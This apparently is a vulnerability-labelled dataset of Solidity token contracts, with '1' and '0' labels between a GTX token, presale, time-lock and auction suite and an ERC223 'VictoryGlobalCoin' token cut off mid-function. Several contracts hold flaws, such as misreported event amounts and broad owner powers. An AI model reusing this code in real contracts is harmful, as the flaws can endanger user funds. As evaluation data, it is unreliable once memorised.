(bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }
1
contract Ownable { address private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() internal { _owner = msg.sender; emit OwnershipTransferred(address(0), _owner); } function owner() public view returns(address) { return _owner; } modifier onlyOwner() { require(isOwner()); _; } function isOwner() public view returns(bool) { return msg.sender == _owner; } function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal { require(newOwner != address(0)); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0); uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } } contract ERC20Interface { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); function allowance(address owner, address spender)public view returns (uint256); function transferFrom(address from, address to, uint256 value)public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract StandardToken is ERC20Interface { using SafeMath for uint256; mapping(address => uint256) public balances; mapping (address => mapping (address => uint256)) internal allowed; string public name; string public symbol; uint8 public decimals; uint256 public totalSupply_; bool public migrationStart; TimeLock timeLockContract; modifier migrateStarted { if(migrationStart == true){ require(msg.sender == address(timeLockContract)); } _; } constructor(string _name, string _symbol, uint8 _decimals) public { name = _name; symbol = _symbol; decimals = _decimals; } function totalSupply() public view returns (uint256) { return totalSupply_; } function transfer(address _to, uint256 _value) public migrateStarted returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } function transferFrom( address _from, address _to, uint256 _value ) public migrateStarted returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } function increaseApproval( address _spender, uint256 _addedValue ) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval( address _spender, uint256 _subtractedValue ) public returns (bool) { uint256 oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract GTXERC20Migrate is Ownable { using SafeMath for uint256; mapping (address => uint256) public migratableGTX; GTXToken public ERC20; constructor(GTXToken _ERC20) public { ERC20 = _ERC20; } event GTXRecordUpdate( address indexed _recordAddress, uint256 _totalMigratableGTX ); function initiateGTXMigration(uint256 _balanceToMigrate) public { uint256 migratable = ERC20.migrateTransfer(msg.sender,_balanceToMigrate); migratableGTX[msg.sender] = migratableGTX[msg.sender].add(migratable); emit GTXRecordUpdate(msg.sender, migratableGTX[msg.sender]); } } contract TimeLock { GTXToken public ERC20; struct accountData { uint256 balance; uint256 releaseTime; } event Lock(address indexed _tokenLockAccount, uint256 _lockBalance, uint256 _releaseTime); event UnLock(address indexed _tokenUnLockAccount, uint256 _unLockBalance, uint256 _unLockTime); mapping (address => accountData) public accounts; constructor(GTXToken _ERC20) public { ERC20 = _ERC20; } function timeLockTokens(uint256 _lockTimeS) public { uint256 lockAmount = ERC20.allowance(msg.sender, this); require(lockAmount != 0); if (accounts[msg.sender].balance > 0) { accounts[msg.sender].balance = SafeMath.add(accounts[msg.sender].balance, lockAmount); } else { accounts[msg.sender].balance = lockAmount; accounts[msg.sender].releaseTime = SafeMath.add(block.timestamp , _lockTimeS); } emit Lock(msg.sender, lockAmount, accounts[msg.sender].releaseTime); ERC20.transferFrom(msg.sender, this, lockAmount); } function tokenRelease() public { require (accounts[msg.sender].balance != 0 && accounts[msg.sender].releaseTime <= block.timestamp); uint256 transferUnlockedBalance = accounts[msg.sender].balance; accounts[msg.sender].balance = 0; accounts[msg.sender].releaseTime = 0; emit UnLock(msg.sender, transferUnlockedBalance, block.timestamp); ERC20.transfer(msg.sender, transferUnlockedBalance); } function getLockedFunds(address _account) view public returns (uint _lockedBalance) { return accounts[_account].balance; } function getReleaseTime(address _account) view public returns (uint _releaseTime) { return accounts[_account].releaseTime; } } contract GTXToken is StandardToken, Ownable{ using SafeMath for uint256; event SetMigrationAddress(address GTXERC20MigrateAddress); event SetAuctionAddress(address GTXAuctionContractAddress); event SetTimeLockAddress(address _timeLockAddress); event Migrated(address indexed account, uint256 amount); event MigrationStarted(); GTXRecord public gtxRecord; GTXPresale public gtxPresale; uint256 public totalAllocation; TimeLock timeLockContract; GTXERC20Migrate gtxMigrationContract; GTXAuction gtxAuctionContract; modifier onlyMigrate { require(msg.sender == address(gtxMigrationContract)); _; } modifier onlyAuction { require(msg.sender == address(gtxAuctionContract)); _; } constructor(uint256 _totalSupply, GTXRecord _gtxRecord, GTXPresale _gtxPresale, string _name, string _symbol, uint8 _decimals) StandardToken(_name,_symbol,_decimals) public { require(_gtxRecord != address(0), "Must provide a Record address"); require(_gtxPresale != address(0), "Must provide a PreSale address"); require(_gtxPresale.getStage() > 0, "Presale must have already set its allocation"); require(_gtxRecord.maxRecords().add(_gtxPresale.totalPresaleTokens()) <= _totalSupply, "Records & PreSale allocation exceeds the proposed total supply"); totalSupply_ = _totalSupply; gtxRecord = _gtxRecord; gtxPresale = _gtxPresale; } function () public payable { revert (); } function recoverLost(ERC20Interface _token) public onlyOwner { _token.transfer(owner(), _token.balanceOf(this)); } function setMigrationAddress(GTXERC20Migrate _gtxMigrateContract) public onlyOwner returns (bool) { require(_gtxMigrateContract != address(0), "Must provide a Migration address"); require(_gtxMigrateContract.ERC20() == address(this), "Migration contract does not have this token assigned"); gtxMigrationContract = _gtxMigrateContract; emit SetMigrationAddress(_gtxMigrateContract); return true; } function setAuctionAddress(GTXAuction _gtxAuctionContract) public onlyOwner returns (bool) { require(_gtxAuctionContract != address(0), "Must provide an Auction address"); require(_gtxAuctionContract.ERC20() == address(this), "Auction contract does not have this token assigned"); gtxAuctionContract = _gtxAuctionContract; emit SetAuctionAddress(_gtxAuctionContract); return true; } function setTimeLockAddress(TimeLock _timeLockContract) public onlyOwner returns (bool) { require(_timeLockContract != address(0), "Must provide a TimeLock address"); require(_timeLockContract.ERC20() == address(this), "TimeLock contract does not have this token assigned"); timeLockContract = _timeLockContract; emit SetTimeLockAddress(_timeLockContract); return true; } function startMigration() onlyOwner public returns (bool) { require(migrationStart == false, "startMigration has already been run"); require(gtxMigrationContract != address(0), "Migration contract address must be set"); require(gtxAuctionContract != address(0), "Auction contract address must be set"); require(timeLockContract != address(0), "TimeLock contract address must be set"); migrationStart = true; emit MigrationStarted(); return true; } function passAuctionAllocation(uint256 _auctionAllocation) public onlyAuction { require(gtxRecord.lockRecords() == true, "GTXRecord contract lock state should be true"); uint256 gtxRecordTotal = gtxRecord.totalClaimableGTX(); uint256 gtxPresaleTotal = gtxPresale.totalPresaleTokens(); totalAllocation = _auctionAllocation.add(gtxRecordTotal).add(gtxPresaleTotal); require(totalAllocation <= totalSupply_, "totalAllocation must be less than totalSupply"); balances[gtxAuctionContract] = totalAllocation; emit Transfer(address(0), gtxAuctionContract, totalAllocation); uint256 remainingTokens = totalSupply_.sub(totalAllocation); balances[owner()] = remainingTokens; emit Transfer(address(0), owner(), totalAllocation); } function migrateTransfer(address _account, uint256 _amount) onlyMigrate public returns (uint256) { require(migrationStart == true); uint256 userBalance = balanceOf(_account); require(userBalance >= _amount); emit Migrated(_account, _amount); balances[_account] = balances[_account].sub(_amount); return _amount; } function getGTXRecord() public view returns (address) { return address(gtxRecord); } function getAuctionAllocation() public view returns (uint256){ require(totalAllocation != 0, "Auction allocation has not been set yet"); return totalAllocation; } } contract GTXRecord is Ownable { using SafeMath for uint256; uint256 public conversionRate; bool public lockRecords; uint256 public maxRecords; uint256 public totalClaimableGTX; mapping (address => uint256) public claimableGTX; event GTXRecordCreate( address indexed _recordAddress, uint256 _finPointAmount, uint256 _gtxAmount ); event GTXRecordUpdate( address indexed _recordAddress, uint256 _finPointAmount, uint256 _gtxAmount ); event GTXRecordMove( address indexed _oldAddress, address indexed _newAddress, uint256 _gtxAmount ); event LockRecords(); modifier canRecord() { require(conversionRate > 0); require(!lockRecords); _; } constructor (uint256 _maxRecords) public { maxRecords = _maxRecords; } function setConversionRate(uint256 _conversionRate) external onlyOwner{ require(_conversionRate <= 1000); require(_conversionRate > 0); conversionRate = _conversionRate; } function lock() public onlyOwner returns (bool) { lockRecords = true; emit LockRecords(); return true; } function recordCreate(address _recordAddress, uint256 _finPointAmount, bool _applyConversionRate) public onlyOwner canRecord { require(_finPointAmount >= 100000, "cannot be less than 100000 FIN (in WEI)"); uint256 afterConversionGTX; if(_applyConversionRate == true) { afterConversionGTX = _finPointAmount.mul(conversionRate).div(100); } else { afterConversionGTX = _finPointAmount; } claimableGTX[_recordAddress] = claimableGTX[_recordAddress].add(afterConversionGTX); totalClaimableGTX = totalClaimableGTX.add(afterConversionGTX); require(totalClaimableGTX <= maxRecords, "total token record (contverted GTX) cannot exceed GTXRecord token limit"); emit GTXRecordCreate(_recordAddress, _finPointAmount, claimableGTX[_recordAddress]); } function recordUpdate(address _recordAddress, uint256 _finPointAmount, bool _applyConversionRate) public onlyOwner canRecord { require(_finPointAmount >= 100000, "cannot be less than 100000 FIN (in WEI)"); uint256 afterConversionGTX; totalClaimableGTX = totalClaimableGTX.sub(claimableGTX[_recordAddress]); if(_applyConversionRate == true) { afterConversionGTX = _finPointAmount.mul(conversionRate).div(100); } else { afterConversionGTX = _finPointAmount; } claimableGTX[_recordAddress] = afterConversionGTX; totalClaimableGTX = totalClaimableGTX.add(claimableGTX[_recordAddress]); require(totalClaimableGTX <= maxRecords, "total token record (contverted GTX) cannot exceed GTXRecord token limit"); emit GTXRecordUpdate(_recordAddress, _finPointAmount, claimableGTX[_recordAddress]); } function recordMove(address _oldAddress, address _newAddress) public onlyOwner canRecord { require(claimableGTX[_oldAddress] != 0, "cannot move a zero record"); require(claimableGTX[_newAddress] == 0, "destination must not already have a claimable record"); claimableGTX[_newAddress] = claimableGTX[_oldAddress]; claimableGTX[_oldAddress] = 0; emit GTXRecordMove(_oldAddress, _newAddress, claimableGTX[_newAddress]); } } contract GTXPresale is Ownable { using SafeMath for uint256; bool public lockRecords; uint256 public totalPresaleTokens; uint256 public totalClaimableGTX; mapping (address => uint256) public presaleGTX; mapping (address => uint256) public bonusGTX; mapping (address => uint256) public claimableGTX; uint256[11] public bonusPercent; uint256[11] public bonusThreshold; Stages public stage; enum Stages { PresaleDeployed, Presale, ClaimingStarted } modifier atStage(Stages _stage) { require(stage == _stage, "function not allowed at current stage"); _; } event Setup( uint256 _maxPresaleTokens, uint256[] _bonusThreshold, uint256[] _bonusPercent ); event GTXRecordCreate( address indexed _recordAddress, uint256 _gtxTokens ); event GTXRecordUpdate( address indexed _recordAddress, uint256 _gtxTokens ); event GTXRecordMove( address indexed _oldAddress, address indexed _newAddress, uint256 _gtxTokens ); event LockRecords(); constructor() public{ stage = Stages.PresaleDeployed; } function lock() public onlyOwner returns (bool) { lockRecords = true; stage = Stages.ClaimingStarted; emit LockRecords(); return true; } function setup(uint256 _maxPresaleTokens, uint256[] _bonusThreshold, uint256[] _bonusPercent) external onlyOwner atStage(Stages.PresaleDeployed) { require(_bonusPercent.length == _bonusThreshold.length, "Length of bonus percent array and bonus threshold should be equal"); totalPresaleTokens =_maxPresaleTokens; for(uint256 i=0; i< _bonusThreshold.length; i++) { bonusThreshold[i] = _bonusThreshold[i]; bonusPercent[i] = _bonusPercent[i]; } stage = Stages.Presale; emit Setup(_maxPresaleTokens,_bonusThreshold,_bonusPercent); } function recordCreate(address _recordAddress, uint256 _gtxTokens) public onlyOwner atStage(Stages.Presale) { require(_gtxTokens >= 100000, "Minimum allowed GTX tokens is 100000 Bosons"); totalClaimableGTX = totalClaimableGTX.sub(claimableGTX[_recordAddress]); presaleGTX[_recordAddress] = presaleGTX[_recordAddress].add(_gtxTokens); bonusGTX[_recordAddress] = calculateBonus(_recordAddress); claimableGTX[_recordAddress] = presaleGTX[_recordAddress].add(bonusGTX[_recordAddress]); totalClaimableGTX = totalClaimableGTX.add(claimableGTX[_recordAddress]); require(totalClaimableGTX <= totalPresaleTokens, "total token record (presale GTX + bonus GTX) cannot exceed presale token limit"); emit GTXRecordCreate(_recordAddress, claimableGTX[_recordAddress]); } function recordUpdate(address _recordAddress, uint256 _gtxTokens) public onlyOwner atStage(Stages.Presale){ require(_gtxTokens >= 100000, "Minimum allowed GTX tokens is 100000 Bosons"); totalClaimableGTX = totalClaimableGTX.sub(claimableGTX[_recordAddress]); presaleGTX[_recordAddress] = _gtxTokens; bonusGTX[_recordAddress] = calculateBonus(_recordAddress); claimableGTX[_recordAddress] = presaleGTX[_recordAddress].add(bonusGTX[_recordAddress]); totalClaimableGTX = totalClaimableGTX.add(claimableGTX[_recordAddress]); require(totalClaimableGTX <= totalPresaleTokens, "total token record (presale GTX + bonus GTX) cannot exceed presale token limit"); emit GTXRecordUpdate(_recordAddress, claimableGTX[_recordAddress]); } function recordMove(address _oldAddress, address _newAddress) public onlyOwner atStage(Stages.Presale){ require(claimableGTX[_oldAddress] != 0, "cannot move a zero record"); require(claimableGTX[_newAddress] == 0, "destination must not already have a claimable record"); presaleGTX[_newAddress] = presaleGTX[_oldAddress]; presaleGTX[_oldAddress] = 0; bonusGTX[_newAddress] = bonusGTX[_oldAddress]; bonusGTX[_oldAddress] = 0; claimableGTX[_newAddress] = claimableGTX[_oldAddress]; claimableGTX[_oldAddress] = 0; emit GTXRecordMove(_oldAddress, _newAddress, claimableGTX[_newAddress]); } function calculateBonus(address _receiver) public view returns(uint256 bonus) { uint256 gtxTokens = presaleGTX[_receiver]; for(uint256 i=0; i < bonusThreshold.length; i++) { if(gtxTokens >= bonusThreshold[i]) { bonus = (bonusPercent[i].mul(gtxTokens)).div(100); } } return bonus; } function getStage() public view returns (uint256) { return uint(stage); } } contract GTXAuction is Ownable { using SafeMath for uint256; event Setup(uint256 etherPrice, uint256 hardCap, uint256 ceiling, uint256 floor, uint256[] bonusThreshold, uint256[] bonusPercent); event BidSubmission(address indexed sender, uint256 amount); event ClaimedTokens(address indexed recipient, uint256 sentAmount); event Collected(address collector, address multiSigAddress, uint256 amount); event SetMultiSigAddress(address owner, address multiSigAddress); GTXToken public ERC20; GTXRecord public gtxRecord; GTXPresale public gtxPresale; uint256 public maxTokens; uint256 public remainingCap; uint256 public totalReceived; uint256 public maxTotalClaim; uint256 public totalAuctionTokens; uint256 public fundsClaimed; uint256 public startBlock; uint256 public biddingPeriod; uint256 public endBlock; uint256 public waitingPeriod; uint256 public etherPrice; uint256 public ceiling; uint256 public floor; uint256 public hardCap; uint256 public priceConstant; uint256 public finalPrice; uint256 constant public WEI_FACTOR = 10**18; uint256 public participants; address public multiSigAddress; mapping (address => uint256) public bids; mapping (address => uint256) public bidTokens; mapping (address => uint256) public totalTokens; mapping (address => bool) public claimedStatus; mapping (address => bool) public whitelist; uint256[11] public bonusPercent; uint256[11] public bonusThresholdWei; Stages public stage; enum Stages { AuctionDeployed, AuctionSetUp, AuctionStarted, AuctionEnded, ClaimingStarted, ClaimingEnded } modifier atStage(Stages _stage) { require(stage == _stage, "not the expected stage"); _; } modifier timedTransitions() { if (stage == Stages.AuctionStarted && block.number >= endBlock) { finalizeAuction(); msg.sender.transfer(msg.value); return; } if (stage == Stages.AuctionEnded && block.number >= endBlock.add(waitingPeriod)) { stage = Stages.ClaimingStarted; } _; } modifier onlyWhitelisted(address _participant) { require(whitelist[_participant] == true, "account is not white listed"); _; } constructor ( GTXToken _gtxToken, GTXRecord _gtxRecord, GTXPresale _gtxPresale, uint256 _biddingPeriod, uint256 _waitingPeriod ) public { require(_gtxToken != address(0), "Must provide a Token address"); require(_gtxRecord != address(0), "Must provide a Record address"); require(_gtxPresale != address(0), "Must provide a PreSale address"); require(_biddingPeriod > 0, "The bidding period must be a minimum 1 block"); require(_waitingPeriod > 0, "The waiting period must be a minimum 1 block"); ERC20 = _gtxToken; gtxRecord = _gtxRecord; gtxPresale = _gtxPresale; waitingPeriod = _waitingPeriod; biddingPeriod = _biddingPeriod; uint256 gtxSwapTokens = gtxRecord.maxRecords(); uint256 gtxPresaleTokens = gtxPresale.totalPresaleTokens(); maxTotalClaim = maxTotalClaim.add(gtxSwapTokens).add(gtxPresaleTokens); stage = Stages.AuctionDeployed; } function () public payable { bid(msg.sender); } function recoverTokens(ERC20Interface _token) external onlyOwner { if(address(_token) == address(ERC20)) { require(uint(stage) >= 3, "auction bidding must be ended to recover"); if(currentStage() == 3 || currentStage() == 4) { _token.transfer(owner(), _token.balanceOf(address(this)).sub(maxTotalClaim)); } else { _token.transfer(owner(), _token.balanceOf(address(this))); } } else { _token.transfer(owner(), _token.balanceOf(address(this))); } } function addToWhitelist(address[] _bidder_addresses) external onlyOwner { for (uint32 i = 0; i < _bidder_addresses.length; i++) { if(_bidder_addresses[i] != address(0) && whitelist[_bidder_addresses[i]] == false){ whitelist[_bidder_addresses[i]] = true; } } } function removeFromWhitelist(address[] _bidder_addresses) external onlyOwner { for (uint32 i = 0; i < _bidder_addresses.length; i++) { if(_bidder_addresses[i] != address(0) && whitelist[_bidder_addresses[i]] == true){ whitelist[_bidder_addresses[i]] = false; } } } function setup( uint256 _maxTokens, uint256 _etherPrice, uint256 _hardCap, uint256 _ceiling, uint256 _floor, uint256[] _bonusThreshold, uint256[] _bonusPercent ) external onlyOwner atStage(Stages.AuctionDeployed) returns (bool) { require(_maxTokens > 0,"Max Tokens should be > 0"); require(_etherPrice > 0,"Ether price should be > 0"); require(_hardCap > 0,"Hard Cap should be > 0"); require(_floor < _ceiling,"Floor must be strictly less than the ceiling"); require(_bonusPercent.length == 11 && _bonusThreshold.length == 11, "Length of bonus percent array and bonus threshold should be 11"); maxTokens = _maxTokens; etherPrice = _etherPrice; ERC20.passAuctionAllocation(maxTokens); require(ERC20.balanceOf(address(this)) == ERC20.getAuctionAllocation(), "Incorrect balance assigned by auction allocation"); ceiling = _ceiling.mul(WEI_FACTOR).div(_etherPrice); floor = _floor.mul(WEI_FACTOR).div(_etherPrice); hardCap = _hardCap.mul(WEI_FACTOR).div(_etherPrice); for (uint32 i = 0; i<_bonusPercent.length; i++) { bonusPercent[i] = _bonusPercent[i]; bonusThresholdWei[i] = _bonusThreshold[i].mul(WEI_FACTOR).div(_etherPrice); } remainingCap = hardCap.sub(remainingCap); priceConstant = (biddingPeriod**3).div((biddingPeriod.add(1).mul(ceiling).div(floor)).sub(biddingPeriod.add(1))); stage = Stages.AuctionSetUp; emit Setup(_etherPrice,_hardCap,_ceiling,_floor,_bonusThreshold,_bonusPercent); } function changeSettings( uint256 _etherPrice, uint256 _hardCap, uint256 _ceiling, uint256 _floor, uint256[] _bonusThreshold, uint256[] _bonusPercent ) external onlyOwner atStage(Stages.AuctionSetUp) { require(_etherPrice > 0,"Ether price should be > 0"); require(_hardCap > 0,"Hard Cap should be > 0"); require(_floor < _ceiling,"floor must be strictly less than the ceiling"); require(_bonusPercent.length == _bonusThreshold.length, "Length of bonus percent array and bonus threshold should be equal"); etherPrice = _etherPrice; ceiling = _ceiling.mul(WEI_FACTOR).div(_etherPrice); floor = _floor.mul(WEI_FACTOR).div(_etherPrice); hardCap = _hardCap.mul(WEI_FACTOR).div(_etherPrice); for (uint i = 0 ; i<_bonusPercent.length; i++) { bonusPercent[i] = _bonusPercent[i]; bonusThresholdWei[i] = _bonusThreshold[i].mul(WEI_FACTOR).div(_etherPrice); } remainingCap = hardCap.sub(remainingCap); priceConstant = (biddingPeriod**3).div((biddingPeriod.add(1).mul(ceiling).div(floor)).sub(biddingPeriod.add(1))); emit Setup(_etherPrice,_hardCap,_ceiling,_floor,_bonusThreshold,_bonusPercent); } function startAuction() public onlyOwner atStage(Stages.AuctionSetUp) { stage = Stages.AuctionStarted; startBlock = block.number; endBlock = startBlock.add(biddingPeriod); } function endClaim() public onlyOwner atStage(Stages.ClaimingStarted) { require(block.number >= endBlock.add(biddingPeriod), "Owner can end claim only after 3 months"); stage = Stages.ClaimingEnded; } function setMultiSigAddress(address _multiSigAddress) external onlyOwner returns(bool){ require(_multiSigAddress != address(0), "not a valid multisignature address"); multiSigAddress = _multiSigAddress; emit SetMultiSigAddress(msg.sender,multiSigAddress); return true; } function collect() external onlyOwner returns (bool) { require(multiSigAddress != address(0), "multisignature address is not set"); multiSigAddress.transfer(address(this).balance); emit Collected(msg.sender, multiSigAddress, address(this).balance); return true; } function bid(address _receiver) public payable timedTransitions atStage(Stages.AuctionStarted) { require(msg.value > 0, "bid must be larger than 0"); require(block.number <= endBlock ,"Auction has ended"); if (_receiver == 0x0) { _receiver = msg.sender; } assert(bids[_receiver].add(msg.value) >= msg.value); uint256 maxWei = hardCap.sub(totalReceived); require(msg.value <= maxWei, "Hardcap limit will be exceeded"); participants = participants.add(1); bids[_receiver] = bids[_receiver].add(msg.value); uint256 maxAcctClaim = bids[_receiver].mul(WEI_FACTOR).div(calcTokenPrice(endBlock)); maxAcctClaim = maxAcctClaim.add(bonusPercent[10].mul(maxAcctClaim).div(100)); maxTotalClaim = maxTotalClaim.add(maxAcctClaim); totalReceived = totalReceived.add(msg.value); remainingCap = hardCap.sub(totalReceived); if(remainingCap == 0){ finalizeAuction(); } assert(totalReceived >= msg.value); emit BidSubmission(_receiver, msg.value); } function claimTokens() public timedTransitions onlyWhitelisted(msg.sender) atStage(Stages.ClaimingStarted) { require(!claimedStatus[msg.sender], "User already claimed"); require(gtxRecord.lockRecords(), "gtx records record updating must be locked"); require(gtxPresale.lockRecords(), "presale record updating must be locked"); fundsClaimed = fundsClaimed.add(bids[msg.sender]); uint256 accumulatedTokens = calculateTokens(msg.sender); bids[msg.sender] = 0; totalTokens[msg.sender] = 0; claimedStatus[msg.sender] = true; require(ERC20.transfer(msg.sender, accumulatedTokens), "transfer failed"); emit ClaimedTokens(msg.sender, accumulatedTokens); assert(bids[msg.sender] == 0); } function calculateTokens(address _receiver) private returns(uint256){ uint256 gtxRecordTokens = gtxRecord.claimableGTX(_receiver); uint256 gtxPresaleTokens = gtxPresale.claimableGTX(_receiver); bidTokens[_receiver] = bids[_receiver].mul(WEI_FACTOR).div(finalPrice); uint256 bonusTokens = calculateBonus(_receiver); uint256 auctionTokens = bidTokens[_receiver].add(bonusTokens); totalAuctionTokens = totalAuctionTokens.add(auctionTokens); totalTokens[msg.sender] = gtxRecordTokens.add(gtxPresaleTokens).add(auctionTokens); return totalTokens[msg.sender]; } function finalizeAuction() private { require(remainingCap == 0 || block.number >= endBlock, "cap or block condition not met"); stage = Stages.AuctionEnded; if (block.number < endBlock){ finalPrice = calcTokenPrice(block.number); endBlock = block.number; } else { finalPrice = calcTokenPrice(endBlock); } } function calculateBonus(address _receiver) private view returns(uint256 bonusTokens){ for (uint256 i=0; i < bonusThresholdWei.length; i++) { if(bids[_receiver] >= bonusThresholdWei[i]){ bonusTokens = bonusPercent[i].mul(bidTokens[_receiver]).div(100); } } return bonusTokens; } function calcTokenPrice(uint256 _bidBlock) public view returns(uint256){ require(_bidBlock >= startBlock && _bidBlock <= endBlock, "pricing only given in the range of startBlock and endBlock"); uint256 currentBlock = _bidBlock.sub(startBlock); uint256 decay = (currentBlock ** 3).div(priceConstant); return ceiling.mul(currentBlock.add(1)).div(currentBlock.add(decay).add(1)); } function currentStage() public view returns (uint) { return uint(stage); } }
0
pragma solidity ^0.4.24; contract ERC223Interface { function totalSupply() public view returns (uint256); function balanceOf(address _who) public view returns (uint256); function transfer(address _to, uint256 _value) public returns (bool); function allowance(address _owner, address _spender) public view returns (uint256); function transferFrom(address _from, address _to, uint256 _value) public returns (bool); function approve(address _spender, uint256 _value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Transfer(address indexed from, address indexed to, uint value, bytes data); event Approval(address indexed owner, address indexed spender, uint256 value); } contract ERC223ReceivingContract { function tokenFallback(address _from, uint _value, bytes _data) public; } contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; modifier whenNotPaused() { require(!paused); _; } modifier whenPaused() { require(paused); _; } function pause() public onlyOwner whenNotPaused { paused = true; emit Pause(); } function unpause() public onlyOwner whenPaused { paused = false; emit Unpause(); } } library SafeMath { function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) { if (_a == 0) { return 0; } c = _a * _b; assert(c / _a == _b); return c; } function div(uint256 _a, uint256 _b) internal pure returns (uint256) { return _a / _b; } function sub(uint256 _a, uint256 _b) internal pure returns (uint256) { assert(_b <= _a); return _a - _b; } function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) { c = _a + _b; assert(c >= _a); return c; } } contract VictoryGlobalCoin is ERC223Interface, Pausable { using SafeMath for uint256; string internal _name; string internal _symbol; uint8 internal _decimals; uint256 internal _totalSupply; mapping (address => uint256) internal balances; mapping (address => mapping (address => uint256)) internal allowed; mapping (address => bool) public frozenAccount; event FrozenFunds(address target, bool frozen); constructor(string name, string symbol, uint8 decimals, uint256 totalSupply) public { _name = name; _symbol = symbol; _decimals = decimals; _totalSupply = totalSupply; balances[msg.sender] = totalSupply; } function name() public view returns (string) { return _name; } function symbol() public view returns (string) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view returns (uint256) { return _totalSupply; } function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } function freezeAccount(address target, bool freeze) public onlyOwner { frozenAccount[target] = freeze; emit FrozenFunds(target, freeze); } function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); require(!frozenAccount[_to]); require(!frozenAccount[msg.sender]); balances[msg.sender] = SafeMath.sub(balances[msg.sender], _value); balances[_to] = SafeMath.add(balances[_to], _value); emit Transfer(msg.sender, _to, _value); return true; } function transfer(address _to, uint _value, bytes _data) public whenNotPaused returns (bool) { require(_value > 0 ); require(!frozenAccount[_to]); require(!frozenAccount[msg.sender]); if(isContract(_to)) { ERC223ReceivingContract receiver = ERC223ReceivingContract(_to); receiver.tokenFallback(msg.sender, _value, _data); } balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value, _data); return true; } function isContract(address _addr) private view returns (bool is_contract) { uint length; assembly { length := extcodesize(_addr) } return (length>0); } function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); require(!frozenAccount[_to]); require(!frozenAccount[_from]); balances[_from] = SafeMath.sub(balances[_from], _value); balances[_to] = SafeMath.add(balances[_to], _value); allowed[_from][msg.sender] = SafeMath.sub(allowed[_from][msg.sender], _value); emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool) { allowed[msg.sender][_spender] = SafeMath.add(allowed[msg.sender][_spender], _addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = SafeMath.sub(oldValue, _subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function distributeAirdrop(address[] addresses, uint256 amount) public returns (bool seccess) { require(amount > 0); require(addresses.length > 0); require(!frozenAccount[msg.sender]); uint256 totalAmount = amount.mul(addresses.length); require(balances[msg.sender] >= totalAmount); bytes memory empty; for (uint i = 0; i < addresses.length; i++) { require(addresses[i] != address(0)); require(!frozenAccount[addresses[i]]); balances[addresses[i]] = balances[addresses[i]].add(amount); emit Transfer(msg.sender, addresses[i], amount, empty); } balances[msg.sender] = balances[msg.sender].sub(totalAmount); return true; } function distributeAirdrop(address[] addresses, uint256[] amounts) public returns (bool) { require(addresses.length > 0); require(addresses.length == 